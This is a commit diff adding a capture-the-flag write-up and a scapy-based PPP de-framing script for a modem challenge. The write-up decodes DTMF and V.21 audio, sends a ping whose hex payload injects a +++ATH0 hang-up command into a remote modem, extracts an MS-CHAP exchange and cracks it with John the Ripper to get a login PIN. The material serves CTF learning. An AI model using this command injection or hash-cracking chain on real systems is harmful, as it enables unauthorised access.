56k
This commit is contained in:
parent
14044b1272
commit
d5ec5327da
|
@ -0,0 +1,210 @@
|
|||
# 56K Flex Magic
|
||||
|
||||
**Category:** Communication Systems
|
||||
**Points (final):** 205
|
||||
**Solves:** 13
|
||||
|
||||
>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a
|
||||
>flag…
|
||||
>
|
||||
>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected
|
||||
>behavior.
|
||||
|
||||
## Write-up
|
||||
|
||||
by [haskal](https://awoo.systems)
|
||||
|
||||
An audio file is included that contains a session where a number is dialed, and then some modem data
|
||||
is exchanged (it's a very distinctive sound). Additionally, there is a note included with the
|
||||
following text.
|
||||
|
||||
```
|
||||
---=== MY SERVER ===---
|
||||
Phone #: 275-555-0143
|
||||
Username: hax
|
||||
Password: hunter2
|
||||
|
||||
* Modem implements a (very small) subset of 'Basic' commands as
|
||||
described in the ITU-T V.250 spec (Table I.2)
|
||||
|
||||
---=== THEIR SERVER ===---
|
||||
|
||||
Ground station IP: 93.184.216.34
|
||||
Ground station Phone #: 458-XXX-XXXX ...?
|
||||
Username: ?
|
||||
Password: ?
|
||||
|
||||
* They use the same model of modem as mine... could use +++ATH0
|
||||
ping of death
|
||||
* It'll have an interactive login similar to my server
|
||||
* Their official password policy: minimum requirements of
|
||||
FIPS112 (probably just numeric)
|
||||
* TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
|
||||
```
|
||||
|
||||
ITU-T V.250 is essentially a formalization of the [Hayes command
|
||||
set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to
|
||||
interact with our local modem, such as
|
||||
```
|
||||
ATDTXXXXXXXXXX - dial number XXX...
|
||||
ATH0 - hang up
|
||||
+++ - get the local modem's attention while in a remote session
|
||||
```
|
||||
|
||||
The first step is to try to get information about the ground station server. We can decode the dial
|
||||
tones from the audio file, which are
|
||||
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we
|
||||
obtain a phone number for the ground station of `458-555-0142`. However dialing this number results
|
||||
in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need
|
||||
to disconnect it.
|
||||
|
||||
The "ping of death" refers to injecting a modem command into a packet sent to a remote server in
|
||||
order to cause the server's modem to interpret a hang up command contained in the packet. This can
|
||||
be achieved by pinging with the data `+++ATH0`, but we need to escape it with hex to avoid having
|
||||
our local modem hang up instead. Once in the session, we dial the number in the text file to get an
|
||||
initial shell session
|
||||
|
||||
```
|
||||
ATDT2755550143
|
||||
```
|
||||
|
||||
Next, issue a ping of death to the provided server IP
|
||||
```bash
|
||||
ping -v 0x2b2b2b415448290d 93.184.216.34
|
||||
```
|
||||
|
||||
Now the ground station should be disconnect so it is available for us to dial.
|
||||
|
||||
```
|
||||
+++ATH0
|
||||
ATDT45845550142
|
||||
```
|
||||
|
||||
We get a login prompt for SATNET
|
||||
|
||||
```
|
||||
* * . * * * . * * . * * .
|
||||
. * * . * . . * . *
|
||||
* +------------------------------+
|
||||
. | SATNET | *
|
||||
+------------------------------+ .
|
||||
. | UNAUTHORIZED ACCESS IS |
|
||||
| STRICTLY PROHIBITED |
|
||||
. +------------------------------+ .
|
||||
. .
|
||||
.
|
||||
|
||||
Setting up - this will take a while...
|
||||
|
||||
LOGIN
|
||||
Username:
|
||||
```
|
||||
|
||||
However we still need the username and password. Maybe the provided audio file has the credentials
|
||||
somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of
|
||||
choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is
|
||||
consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses
|
||||
dual-channel Frequency Shift Keying at 300 bits/second. We can use
|
||||
[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide
|
||||
the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1
|
||||
and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.
|
||||
|
||||
```bash
|
||||
minimodem -8 -S 980 -M 1180 -f recording.wav 300
|
||||
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
|
||||
```
|
||||
|
||||
This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from
|
||||
the notes file that the password is a 4-digit number, but trying the username `rocketman` and
|
||||
password `2674` didn't work. We need to look closer. This is the beginning of one side of the
|
||||
exchange in hex:
|
||||
|
||||
```hexdump
|
||||
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}"
|
||||
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(.
|
||||
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.}
|
||||
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&}
|
||||
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
|
||||
```
|
||||
|
||||
It starts with `7eff`, which is characteristic of [Point-to-Point
|
||||
Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with
|
||||
[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first
|
||||
we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically.
|
||||
There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte
|
||||
stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the
|
||||
byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax
|
||||
de-framer because sometimes frames seemed to not be started or terminated properly.
|
||||
|
||||
def decode(ch):
|
||||
buf2 = b""
|
||||
esc = False
|
||||
|
||||
for x in ch:
|
||||
if x == 0x7e:
|
||||
if buf2 != b"\xFF" and buf2 != b"":
|
||||
print(PPP(buf2).__repr__())
|
||||
buf2 = b""
|
||||
esc = False
|
||||
elif esc:
|
||||
esc = False
|
||||
buf2 += bytes([x^0x20])
|
||||
elif x == 0x7d:
|
||||
esc = True
|
||||
else:
|
||||
buf2 += bytes([x])
|
||||
|
||||
if len(buf2) > 0:
|
||||
print(PPP(buf2).__repr__())
|
||||
|
||||
Now we can see what the packets mean. In particular, we spot these ones:
|
||||
|
||||
```
|
||||
===================== CH 1
|
||||
|
||||
<HDLC address=0xff control=0x3 |<PPP proto=Link Control Protocol |<PPP_LCP_Configure code=Configure-Ack id=0x2 len=28 options=[<PPP_LCP_ACCM_Option type=Async-Control-Character-Map len=6 accm=0 |>, <PPP_LCP_Auth_Protocol_Option type=Authentication-protocol len=5 auth_protocol=Challenge-response authentication protocol algorithm=MS-CHAP |>, <PPP_LCP_Magic_Number_Option type=Magic-number len=6 magic_number=77681304 |>, <PPP_LCP_Option type=Protocol-Field-Compression len=2 data='' |>, <PPP_LCP_Option type=Address-and-Control-Field-Compression len=2 data='' |>, <PPP_LCP_Callback_Option type=Callback len=3 operation=6 |>] |<Padding load='\xbe6' |>>>>
|
||||
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Response id=0x0 len=67 value_size=49 value=0000000000000000000000000000000000000000000000006c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b401 optional_name='rocketman2674' |<Padding load='c\x89' |>>>
|
||||
|
||||
===================== CH 2
|
||||
|
||||
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Challenge id=0x0 len=26 value_size=8 value=12810ab88c7f1c74 optional_name='GRNDSTTNA8F6C' |<Padding load='[\x1f' |>>>
|
||||
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP code=Success id=0x0 len=4 data='' |<Padding load='\x1e\xe6' |>>>
|
||||
```
|
||||
|
||||
We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then
|
||||
authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very
|
||||
easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the
|
||||
hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes,
|
||||
including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
|
||||
can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash
|
||||
like
|
||||
|
||||
```
|
||||
username:$NETNTLM$challenge$hash
|
||||
|
||||
rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
|
||||
```
|
||||
|
||||
Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put
|
||||
this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will
|
||||
complete in literal seconds anyway.
|
||||
|
||||
```
|
||||
Proceeding with incremental:ASCII
|
||||
9435 (rocketman2674)
|
||||
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
|
||||
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
||||
|
||||
Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag`
|
||||
command to get the flag.
|
||||
|
||||
## Resources and other writeups
|
||||
|
||||
* <https://en.wikipedia.org/wiki/Hayes_command_set>
|
||||
* <https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling>
|
||||
* <https://github.com/kamalmostafa/minimodem>
|
||||
* <https://en.wikipedia.org/wiki/Point-to-Point_Protocol>
|
||||
* <https://tools.ietf.org/html/rfc2433>
|
||||
* <https://www.openwall.com/john/>
|
|
@ -0,0 +1,38 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
with open("ch1", "rb") as f:
|
||||
ch1 = f.read()
|
||||
|
||||
with open("ch2", "rb") as f:
|
||||
ch2 = f.read()
|
||||
|
||||
# print(PPP(ch2[0x16a:0x186]).show())
|
||||
# print(PPP(ch1[0x171:0x170+70]).show())
|
||||
|
||||
def decode(ch):
|
||||
buf2 = b""
|
||||
esc = False
|
||||
|
||||
for x in ch:
|
||||
if x == 0x7e:
|
||||
if buf2 != b"\xFF" and buf2 != b"":
|
||||
print(PPP(buf2).__repr__())
|
||||
buf2 = b""
|
||||
esc = False
|
||||
elif esc:
|
||||
esc = False
|
||||
buf2 += bytes([x^0x20])
|
||||
elif x == 0x7d:
|
||||
esc = True
|
||||
else:
|
||||
buf2 += bytes([x])
|
||||
|
||||
if len(buf2) > 0:
|
||||
print(PPP(buf2).__repr__())
|
||||
|
||||
print("\n", "=====================", "CH 1", "\n")
|
||||
decode(ch1)
|
||||
print("\n", "=====================", "CH 2", "\n")
|
||||
decode(ch2)
|
Loading…
Reference in New Issue